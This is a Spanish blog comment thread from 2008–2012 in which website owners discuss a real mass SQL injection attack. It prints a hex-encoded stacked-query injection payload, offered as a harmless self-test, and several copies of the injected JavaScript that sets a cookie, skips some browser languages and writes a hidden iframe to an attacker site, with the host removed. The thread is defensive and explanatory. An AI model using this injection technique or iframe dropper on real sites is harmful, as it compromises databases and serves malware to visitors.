Comentarios en: SQL Injection 100% real https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/ El blog de Scientia® Soluciones Informáticas Wed, 09 Dec 2020 19:07:20 +0000 hourly 1 Por: shore tours in St.Petersburg https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-10496 Thu, 20 Sep 2012 22:11:28 +0000 http://www.programandoamedianoche.com/?p=13#comment-10496 Gracias por la crítica sensata sobre http://www.programandoamedianoche.com . Yo y mi vecino se acaba de preparar para hacer una investigación al respecto. Tenemos un robo de un libro de nuestra biblioteca local, pero creo que he aprendido más de esta entrada. Estoy muy contento de ver la información tan grande que se comparte libremente por ahí. buena suerte

]]>
Por: ZaPa https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-121 Fri, 16 Apr 2010 23:52:12 +0000 http://www.programandoamedianoche.com/?p=13#comment-121 Hola a todos.

Menuda parafernalia se montó el coleguita..impresionante.

Por lo que todo indica, parece ser que tambien han programado un bot para que haga todo este proceso automáticamente..

Pero como he dicho anteriormente el colega que hiciera todo este proceso. IMPRESIONANTE.

Pero un buen hijo de p..xD

Un saludo.

—————-
http://www.monovarlinux.org
—————-

]]>
Por: Dario Krapp https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-73 Wed, 21 Oct 2009 19:48:14 +0000 http://www.programandoamedianoche.com/?p=13#comment-73 En respuesta a Lobezno_Xmen.

Disculpame la demora en contestar, pero no tengo ese script, cuando tuvimos el problema con este ataque tuvimos también la suerte de tener backups de las bases bastante al día, con lo que no hubo pérdida de datos importantes. Quizás lo que haga el script que me comentas es recorrer los campos de texto del servidor y utilizar la sentencia replace de TSQL para eliminar el texto que el ataque generó, pero lamentablemente no tengo ese script, además me imagino que debe depender de la página que hayan definido como destino en el ataque.

]]>
Por: Lobezno_Xmen https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-61 Tue, 29 Sep 2009 09:03:54 +0000 http://www.programandoamedianoche.com/?p=13#comment-61 Hola Dario por lo visto el amigo Wiliams ha hecho de las suyas… acabo de encontrar mi web con este codigo:

dentro de los campos de texto…. te aviso por si las tuyas estan siendo atacadas de nuevo.

voy a probar a buscar algo para limpiar, se que existe un script para limpiar la base de datos para no tener que pegarme la paliza uno a uno. Tu tienes algo?

Gracias por todo.

]]>
Por: williams https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-28 Tue, 03 Mar 2009 17:14:27 +0000 http://www.programandoamedianoche.com/?p=13#comment-28 Bueno, ya veré que otro código invento. Me descubrieron jajajajajaja.

]]>
Por: Dario Krapp https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-14 Tue, 05 Aug 2008 13:01:31 +0000 http://www.programandoamedianoche.com/?p=13#comment-14 Lo que tendrías que hacer es, primero crear la tabla «dummytest» en la base (o bases) a la que accede la aplicación web que vas a probar, luego agregar :

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

al final de las urls que incluyan pasaje de parámetros por querystring ,por ejemplo si querés verificar que la página:

pgatacada.asp?p=11&e=hola

ya no sea atacable, entonces deberías escribir en la url del browser lo siguiente:

pgatacada.asp?p=11&e=hola;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

Luego que le pidas al browser navegar la url con esto agregado, ingresá al Sql Server y consultá la tabla «dummytest» si hay un nuevo registro con el valor ‘HACKED’ en el campo dummyfield, la página sigue siendo atacable.
Si hay muchas páginas te va a llevar un poco de tiempo probarlas a todas, pero lo bueno es que estás utilizando el mismo método que uso el hacker para evitar que vuelva a atacarte, si el sistio no se encuentra protegido, solo se va a agregar un registro en una tabla propia, con lo cual no se genera ningún daño. No te olvides de eliminar las tablas «dummytest» que hayas creado cuando ya hayas terminado con las pruebas.

Suerte

]]>
Por: Lobezno https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-13 Tue, 05 Aug 2008 06:32:16 +0000 http://www.programandoamedianoche.com/?p=13#comment-13 Cuando pones: «… Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:
CREATE TABLE [dbo].[dummytest](
[dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL
) ON [PRIMARY]

y creamos el siguiente SQL Injection para hacer las pruebas:
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES (‘HACKED’)

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva. …»

Como hago yo para lanzar un ataque a mi web? Podrías ayudarme? Quiero probar si ya lo hemos solucionado

Gracias y espero tu respuesta…

]]>
Por: Lobezno https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-12 Wed, 30 Jul 2008 08:12:17 +0000 http://www.programandoamedianoche.com/?p=13#comment-12 Hola de nuevo, seguimos recibiendo ataques. Pongo aqui la información por si a alguien le resulta de ayuda.

window.status=»»;
n=navigator.userLanguage.toUpperCase();
if((n!=»ZH-CN»)&&(n!=»ZH-MO»)&&(n!=»ZH-HK»)&&(n!=»BN»)&&(n!=»GU»)&&(n!=»NE»)&&(n!=»PA»)&&(n!=»ID»)&&(n!=»EN-PH»)&&(n!=»UR»)&&(n!=»RU»)&&(n!=»KO»)&&(n!=»ZH-TW»)&&(n!=»ZH»)&&(n!=»HI»)&&(n!=»TH»)&&(n!=»VI»)){
var cookieString = document.cookie;
var start = cookieString.indexOf(«v1goo=»);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = «v1goo=update;expires=»+expires.toGMTString();
try{
document.write(«»);
}
catch(e)
{
};
}}

Este el nuevo codigo jss que han injectado pero esta vez lo han hecho dos veces (o ha habido dos ataques a la vez)

Un saludo.

]]>
Por: Dario M. Krapp https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-11 Fri, 18 Jul 2008 22:57:52 +0000 http://www.programandoamedianoche.com/?p=13#comment-11 Modifiqué el artículo y le agregué un ejemplo de como parametrizamos las consultas (es un ejemplo para ASP con OleBD).

Como los ataques por SQL Injection son posibles debido a una mala programación. Creo que la única solución definitiva es corregir el código, desde que hicimos las modificaciones en el código (paremetrizar las consultas), no volvimos a tener problemas de SQL Injection.

Saludos

]]>
Por: JMVB https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-10 Fri, 18 Jul 2008 08:05:12 +0000 http://www.programandoamedianoche.com/?p=13#comment-10 Hola, gracias por la imformación, es muy completa.

Yo tambien he sufrido este ataque, mejor dicho lo sufro constantemente, he logrado por ahora evitarlo, filtrando los parametro que se pasan por la url, pero me gustaria saber como has conseguido hacer la solución que indicas, «El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias»,

podrias explicarla.

Muchas Gracias

]]>
Por: Lobezno https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-9 Thu, 17 Jul 2008 19:14:05 +0000 http://www.programandoamedianoche.com/?p=13#comment-9 Gracias a ti por tu ayuda.
El segundo dia de ataques el Norton si te advertia que estaban intentando acceder al pc mediante su mensaje estandard de alerta, lo que me mosquea es que un samaritano me advertia que mi pagina estaba llena de troyanos, con lo cual o tenia el Karspersky o es uno de los implicados en el tema. Lo del iframe si me preocupa mas.

Sigo teniendo ataques, he podido ver los logs por fin y los ataques son desde distintas ips mundiales, uruguay, venezuela, francia, etc. por lo que ves es muy variado.

Encontramos un procedimiento que realiza el proceso inverso, es decir recorre todas las tablas de la base de datos y borra el texto que nos injecto el ataque.

Estamos investigando el declare que nos injecta, es casi igual que el que publicas aqui pero a partir de las 5 ultimas lineas varia supongo que ira variando seguna la url que le mete en el cast.

con la solucion que publicas habeis tenido problemas algun dia mas? ahora mismo no tenemos las BD infectadas pero seguimos siendo atacados.

]]>
Por: Dario M. Krapp https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-8 Wed, 16 Jul 2008 03:45:04 +0000 http://www.programandoamedianoche.com/?p=13#comment-8 Muchas gracias por el script, continué investigando y descubrí que el document.write (el que está en blanco en el script) en otra versión que encotré por Internet hace lo siguiente:

document.write(«iframe src=http://.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0>/iframe»);

Abre un iframe y navega una url (clásico ataque IFrame), nuevamente el sitio al que accedia el iframe (lo borramos en el blog) ya no era accesible, (otra vez la misma frustración). Al menos avanzamos otro paso.

Un detalle interesante es la sentencia:

if((n!=”ZH-CN”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”UR”)&&(n!=”VI”))

que hace que el iframe no se genere si el lenguaje del browser es de:

Rusia, Ucrania, China, Corea o Vietnam

Muchas grcias y saludos

]]>
Por: Lobezno https://www.programandoamedianoche.com/2008/07/sql-injection-100-real/#comment-7 Tue, 15 Jul 2008 11:04:57 +0000 http://www.programandoamedianoche.com/?p=13#comment-7 Hola gracias por el aporte… como comentais ya esta en otro sitio y si poneis en el google ngg.js aparecen muchas paginas infectadas por dicho JS. Os pego el JS para que veais que es lo que hace.

window.status=»»;
n=navigator.userLanguage.toUpperCase();
if((n!=»ZH-CN»)&&(n!=»UR»)&&(n!=»RU»)&&(n!=»KO»)&&(n!=»ZH-TW»)&&(n!=»ZH»)&&(n!=»HI»)&&(n!=»TH»)&&(n!=»UR»)&&(n!=»VI»)){
var cookieString = document.cookie;
var start = cookieString.indexOf(«updngg=»);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = «updngg=update;expires=»+expires.toGMTString();
try{
document.write(«»);
}
catch(e)
{
};
}}

Segun informacion recopilada, solo el Kaspersky avisa de este «virus». Yo tengo mi pagina infectada que estoy intentando arreglar, alojada en Arsys.

Alguno con el mismo problema?

Un saludo y gracias de nuevo por la información.

]]>